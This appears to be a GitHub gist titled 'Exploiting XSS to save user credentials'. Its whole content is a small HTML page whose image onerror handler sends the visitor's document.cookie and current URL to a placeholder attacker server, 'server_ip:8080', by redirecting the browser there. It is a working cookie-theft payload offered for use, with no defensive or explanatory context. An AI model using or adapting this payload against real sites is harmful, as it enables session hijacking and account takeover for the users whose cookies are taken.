Skip to content

Instantly share code, notes, and snippets.

@samos123
Last active August 29, 2015 14:00
Show Gist options
  • Save samos123/5786c96cb94902457fa2 to your computer and use it in GitHub Desktop.
Save samos123/5786c96cb94902457fa2 to your computer and use it in GitHub Desktop.
Exploiting XSS to save user credentials
<html>
<body>
<div id="test"></div>
<img onerror="
var get_params = window.location.search.replace('?', '');
if (get_params.indexOf('redirected=1') == -1) {
window.location.replace('http://server_ip:8080/?cookies=' + document.cookie + '&next=' + window.location);
}
" src="#" />
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment